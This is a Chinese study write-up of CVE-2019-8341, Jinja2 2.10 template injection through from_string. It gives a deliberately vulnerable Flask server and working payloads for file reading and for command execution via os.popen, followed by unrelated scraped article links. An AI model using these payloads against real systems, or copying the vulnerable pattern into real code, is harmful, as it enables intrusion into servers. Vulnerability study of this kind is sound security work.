CVE-2019-8341 Jinja2 RCE漏洞学习
漏洞简述
漏洞简介
Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的jinja2的代码指令。
漏洞分类
远程命令/代码执行
影响版本
2.10
漏洞验证:
验证环境
- 系统: Mac OS X
- Python:2.7.15
- Flask : 1.0.2
- Jinja: 2.10
验证服务器脚本(漏洞代码)
import jinja2
from flask import Flask
from flask import request
app = Flask("vuln")
@app.route("/")
def index():
username = request.values.get('username')
return jinja2.Environment().from_string('Hello ' + username).render()
if __name__ == "__main__":
app.run(host='127.0.0.1' , port=4444)
问题代码就出在第10行: jinja2.Environment().from_string('Hello ' + username).render()
攻击方法1--任意文件读取
Payload:http://localhost:4444/?username={{ ''.class.mro[2].subclasses()40.read() }}
解释Payload:
#"""__mro类似于__base__,但是__mro__是追根溯源的,不是向上查找一级"""
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1]
<type 'object'>
>>> ''.__class__.__mro__[-1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> ''.__class__.__mro__[-1].__subclasses__()[40]
<type 'file'>
#最终看出来就是在获取file类使用file类创建一个对象,输入参数是文件名,read()函数读取:

攻击方法2--命令执行
Payload:http://localhost:4444/?username={{%27%27.class.base.mro()[1].subclasses()[71].init.globals[%27os%27].popen(%22ls%20-l%22).read()}}
解释Payload:
#前面同理买就是为了获取两个类,这两个类中的__init__.__globals__中有os模块,用来执行命令:
"""
<class 'site._Printer'>
<class 'site.Quitter'>
"""
#然后可以获取到os模块,利用os模块的popen执行命令,read函数获取回显。

防御
不使用这个函数或者对属于进行过滤。
CVE-2019-8341 Jinja2 RCE漏洞学习的更多相关文章
- GitStack系统RCE漏洞学习
漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...
- spark未授权RCE漏洞学习
Spark简介 spark是一个实现快速通用的集群计算平台.它是由加州大学伯克利分校AMP实验室 开发的通用内存并行计算框架,用来构建大型的.低延迟的数据分析应用程序.它扩展了广泛使用的MapRedu ...
- U-Boot NFS RCE漏洞(CVE-2019-14192)
U-Boot NFS RCE漏洞(CVE-2019-14192) 原文:https://blog.semmle.com/uboot-rce-nfs-vulnerability/ 翻译:看雪翻译小组 - ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
- WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞
该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
- PWN二进制漏洞学习指南
目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- 2019 年起如何开始学习 ABP 框架系列文章-开篇有益
2019 年起如何开始学习 ABP 框架系列文章-开篇有益 [[TOC]] 本系列文章推荐阅读地址为:52ABP 开发文档 https://www.52abp.com/Wiki/52abp/lates ...
随机推荐
- 在数据库繁忙时如何快速有效的关闭MySQL服务
如果InnoDB_buffer_size参数很大,缓冲区内的脏数据太多,那么关闭MySQL的时候必须把脏数据刷新到磁盘,这个过程有可能是很漫长的,从而导致关闭MySQL服务的时间过长.可以临时设置in ...
- ubuntu 登陆信息打印 -- motd
新需求需要改变 Ubuntu 启动时的登录信息打印,根据搜索到的资料,找到了这里: luo[~]ssh luo@192.168.100.233 Press ^@ (C-Space) to enter ...
- 【概念原理】四种SQL事务隔离级别和事务ACID特性
摘要: SQL事务隔离级别和事务的ACID特性 事务是一组读写操作,并且具有只有所有操作都成功才算成功的特性. 事务隔离级别 SQL事务隔离级别由弱到强分别是:READ_UNCOMMITTED.R ...
- ORA-00054: resource busy and acquire with NOWAIT specified or timeout expired
开发说测试环境在删除表的时候,报了如下错误: SQL> drop table tke purge; drop table tke purge * ERROR at line 1: ORA-000 ...
- 12C -- ORA-01017
本地使用使用sqlplus,尝试连接12.2数据库报错: 在另外一台服务器上,使用sqlplus连接该库,可以成功: 解决方案: 根据MOS文档id:207303.1看出,只有11.2.0.3之上的客 ...
- 详述socket编程之select()和poll()函数
转自:http://www.cppblog.com/myjfm/archive/2011/10/26/159093.aspx select()函数和poll()函数均是主要用来处理多路I/O复用的情况 ...
- Nginx 介绍
Nginx 是什么 Nginx ("engine x") 是一个开源的,支持高性能.高并发的 Web 服务和代理服务软件.它是由俄罗斯人 Igor Sysoev 开发的,最初被应用 ...
- Atitit mysql数据库统计信息
Atitit mysql数据库统计信息 SELECT table_name, table_rows, index_length, data_length, auto_increment, create ...
- MAC OS X显示.开头的文件_苹果操作系统显示隐藏文件命令
转自:http://dditblog.com/blog_446.html 今天在导入Eclipse项目的时候.发现导入不了.初步估计是因为项目没有.project的文件.在Mac OS X操作系统下面 ...
- etcd 集群运维实践
etcd 是 Kubernetes 集群的数据核心,最严重的情况是,当 etcd 出问题彻底无法恢复的时候,解决问题的办法可能只有重新搭建一个环境.因此围绕 etcd 相关的运维知识就比较重要,etc ...